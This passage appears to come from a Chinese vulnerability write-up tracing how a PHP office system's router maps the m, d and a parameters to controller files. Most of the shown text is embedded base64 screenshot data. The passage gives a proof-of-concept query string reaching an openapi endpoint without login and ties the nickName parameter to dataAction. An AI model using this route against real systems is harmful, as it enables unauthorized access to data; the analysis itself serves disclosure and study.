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
|
|||
|
|
<p blockindex=24>从<code>$rock</code>对象中获取<code>rewriteurl</code>参数的值，并赋给<code>$_uurl</code>变量。</p>
|
|||
|
|
<p blockindex=25><strong>如果<code>$_uurl</code>不为空，则进行以下操作：</strong></p>
|
|||
|
|
<ul blockindex=26>
|
|||
|
|
<li>清除<code>$_GET</code>数组中的<code>m</code>、<code>d</code>和<code>a</code>参数。</li>
|
|||
|
|
<li>将<code>$m</code>设置为<code>$_uurl</code>的值。</li>
|
|||
|
|
<li>使用<code>_</code>分割<code>$_uurl</code>，根据分割结果设置<code>$d</code>、<code>$m</code>和<code>$a</code>。</li>
|
|||
|
|
<li>解析<code>$_SERVER['REQUEST_URI']</code>中的查询字符串，并将参数添加到<code>$_GET</code>数组中</li>
|
|||
|
|
</ul>
|
|||
|
|
<p blockindex=27><strong>如果<code>$_uurl</code>为空，则从<code>$rock</code>对象中获取<code>m</code>、<code>d</code>和<code>a</code>参数的值。</strong></p>
|
|||
|
|
<p blockindex=28><strong>分析代码</strong></p>
|
|||
|
|
<p blockindex=29>所以，如果没有进行登陆，我们需要给m、d、a三个参数分别传入相对应的值。在POC中使用get传参</p>
|
|||
|
|
<p blockindex=30><code>?m=openmodhetong|openapi&d=task&a=data</code></p>
|
|||
|
|
<p blockindex=31><code>/webmain/task/openapi/openmodhetongAction.php</code></p>
|
|||
|
|
<p blockindex=32><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=33>通过跟进到这里我们会发现a后面的参数是对应方法的名字</p>
|
|||
|
|
<p blockindex=34><code>nickName</code>对应的方法是<code>dataAction</code>,所以poc里面a的参数的值为<code>data</code></p>
|
|||
|
|
<p blockindex=35><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABDYAAADRCAYAAAA33TJlAAAAAXNSR0IArs4c6QAAAHhlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAOgAQADAAAAAQABAACgAgAEAAAAAQAABDagAwAEAAAAAQAAANEAAAAAsJJazAAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAQABJREFUeAHsvflzJOeZ3/ktXAVU4QYKQJ+o7gb65CFSbDZJNUcajeSw6CE1Hq12vDPyiuGJ2Ah7w7H2+B/Yf2DlHzYc4SNirLHlK8aeHVMeclfnSKQkks2hSIrsg30BfeJG4agCClfu98msrMq6UFXdABvd+GZEN7Iy33zzfT/55vF+3+d53tCpU6ccBJbllZXAr9KrTnME+55pR2NyAbfeX8R6KFQ6obaKgAiIgAiIgAiIgAiIgAiIgAiIgAiIwDYSqKs1b8cJoe30QQyd7kMHViRq1ApQ6UVABERABERABERABERABERABERABLaMQM3CBlq7cOjJMDA3jesfVbbu2LKSKiMREAEREAEREAEREAEREAEREAEREAERKCBQk7Bh1hodz/ejq3ED0++MYWFdLigFPPVTBERABERABERABERABERABERABETgMyTQEIvFEIlEsLq6ijt37mx+6s4eHDrZBGd6AtfPrzGthI3NgWmvCIiACIiACIiACIiACIiACIiACIjAdhKoM2EjGo2is7Nz0/M4Th16X+hHR/06Jn81jhStN8otTmM3HvsnT+LFr3cBTl5s0pKH1Jq+ZCbaKAIiIAIiIAIiIAIiIAIiIAIiIAIisOsI1E1OTlZX6d4+DB5tgDM+juufrm9+TKwFUeoeS9PLNOooL4BkM6k1ffZArYiACIiACIiACIiACIiACIiACIiACOxmAlUJG45Tj/4vxNBat4axt6aQLhArnI5W9B4IU8PIWGdE69GINczdSHlsGxvRfqID0Xpvf63pd/MFUt1FQAREQAREQAREQAREQAREQAREQATKE2govyu3J7SvHweP1GHjxh2MjG7kWWGY6DHw24dw7BD3zycxdo5pFh048wmMp7ow+FIMA0MRhOvXcIvbrt6qLf2127lyaE0EREAEREAEREAEREAEREAEREAEREAEggQqChuO04B9L/Qg4qzg5i9msFpgrQFsYPbtG7g614Hu/VHEvjiEnuQqNjjfyok/6EYovYLUtSncuUqhY9xOXWv6YHG1LgIiIAIiIAIiIAIiIAIiIAIiIAIiIAI5AhWFjbr4AA4cqMP6lTHcvJtvrWHZmPvJytgcbvPfLQYUDQ/vwanf6kJTKIlrf3Ydk4vBGBuhmtPniqo1ERABERABERABERABERABERABERABEcgnQLuK8ovjhLH/hW6EN5Zx45czWCuy1sgd61DUaHv2CD7/uz1Yfe8abi904NjX9yBaV3pWlFrT586kNREQAREQAREQAREQAREQAREQAREQARHwCGwqbDQc68f+gRDSn97FranyyEykiDx5CI+fjaJ+bAzXfpPC5OUUQn19GP58c9GBtaYvykAbREAEREAEREAEREAEREAEREAEREAERIAEygobTqgFB57vRON6Erd+MQdnE2sNtHXj6Jfa0JhcwKevTyBFoWP5NxOYXAqh/ak+dBZabdSaXpdKBERABERABERABERABERABERABERABEoQaKivry+xGWg6tQf7ukNY+vAu7swxSTBURuERCzO48Fd16FmaxsS8lzCUnsP1H9/G9MwMEhsFB9eavvB8+i0CIiACIiACIiACIiACIiACIiACIiACJNAwNDRUBMKpj2LwuTbUryzgxtuLm1tr8Gg3gOjVSdwtyCl9eQqTBdvsZ63pS2ShTSIgAiIgAiIgAiIgAiIgAiIgAiIgAiIA12JjaWkJs7OzWRzhz+3BnjYgee4OxpPcXGBwkU2oFREQAREQAREQAREQAREQAREQAREQARF4gAQapqZoVTE5CcfxZi9xGtpx+PNRhJYTGDm3ZOYVD7B4OrUIiIAIiIAIiIAIiIAIiIAIiIAIiIAIlCdQNzExkRU1LFn09ABiUQfzfzOG6bREjfLotEcEREAEREAEREAEREAEREAEREAEROBBEwidOnXKM9XIlGR5ZeVBl0nnFwEREAEREAEREAEREAEREAEREAEREIGqCJSd7rWqo5VIBERABERABERABERABERABERABERABB4gAQkbDxC+Ti0CIiACIiACIiACIiACIiACIiACInB/BCRs3B8/HS0CIiACIiACIiACIiACIiACIiACIvAACUjYeIDwdWoREAEREAEREAEREAEREAEREAEREIH7IyBh4/746WgREAEREAEREAEREAEREAEREAEREIEHSEDCxgOEr1OLgAiIgAiIgAiIgAiIgAiIgAiIgAjcHwEJG/fHT0eLgAiIgAiIgAiIgAiIgAiIgAiIgAg8QAISNh4gfJ1aBERABERABERABERABERABERABETg/ghI2Lg/fjpaBERABERABERABERABERABERABETgARKQsPEA4evUIiACIiACIiACIiACIiACIiACIiAC90dAwsb98dPRIiACIiACIiACIiACIiACIiACIiACD5CAhI0HCF+nFgEREAER2H4CTnMEe88OYPCpKOodp+IJa01fMUMlyCMgvnk49EMEREAEREAERGALCEjY2AKI95uF4zRj8OVB9MaKP7gdp5P7OhGp4mP8fsuxm4435pWYRs4O4pmz987eiQ3g5MsD7nnc85W4vruJ+W6qa7Xt6+Tx5t2E5YHU1XFCaDt9EEOn+9CBFayHQpuWo9b0m2Z2Dzu36n3gxDpLvlOCRbJn3CCfS87xymmDx9l76STfS/eyPGi+91JmHSMCIrA5Ab3zNuejvSIgAp8NAQkbW8DZPtQa93XjwAsx9O9tqD3HE/0YHCp9WPRFjjIOdSDSV3p/qa2R4+yQf/s4dkqnyYlt3nnrPcuyVikgRJj2mU2EHvuYNzGhlEiUx6qP6V7dU1bcsJd07EgnUlOzSGU6Qu6LuxZxoieM3u7cWWMvfW7TsltKtzOySWfX4bWt5br6nSTrvFSzRKpMV01e5dI8THV0O3DfLi06lqufu91tX3H0lhEk/fa1aR7auTUEWrtw6MkwMDeN6x+tVM6z1vQFOUYygoIrSrPtDG5yPxcc6v3covdB9BiF1ZcqP+OiPTztdDPi3zrBZ0t1z4nYK7wnuvluupfnxX3yLcmsxo33/c6u8XxKnk9A/PN57KRfeuftpKuhsoiACNRK4B564bWeYhekb+rA0W8cQG9DCM6ROiT+3RjSFUYFfSrWwYmfacHo9y5gajJ/JNEd8T8N7hsp2ucfX+pv6uIozk134tRLx/BM7yW899ZyqWSfyTa3fixH7GrpcthLtO/0EpLfywkI5QrmdQbDSL2zSdqeDvRiDiMTzCUfZ362E8tIdQ8ifuIuPrnQjOgJWnDkpehArDuBSXSh97jtaEbfmX7mPY73vns3K3bkHVLwIzbcial3PnDThrCMkXcSiL8U5zlncf5iQeLMz9BkAnjuyfLXbTqNyLfiGJy+gNGC9lIqx1BoGZOzLXiGxyS/w3bEdhnh6Gx+XTNHDrMjRIHN2mI1eZc6XzXbHqY6hkIJjFwdcPmdz/Crpo6YsLZzDPEXWzBV6v6j8BFjWzp/YYntdLOGWtXZSiZynBYc/uOjONAwjQ/+1U3MV3ke63T0/97jOH44hSv/8jLuLG1evlrTlyzsNm20snU834+uxg1MvzOGhfXKdaklvV9sEzNix/jMOM17ayaN1FXed3wWDSKN93iNnb4unHquGRNv3930Wb5V7wPvWcl7+fVNnlXZNmi1YHud6Uest4Xrm78vTFw+2V39c9BnZH9rvR7BY7d0/T7e2VtVjnu9P2s5vxPuxhP/6AC6ee87a+tIL6axeG0KI29PI7m8+b1Qy3lqTv
|
|||
|
|
<p blockindex=36>从这个地方也能看出来,</p>
|
|||
|
|
<p blockindex=37><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=38><code>m</code>的值是调用openapi,在源码目录下找到这个地方</p>
|
|||
|
|
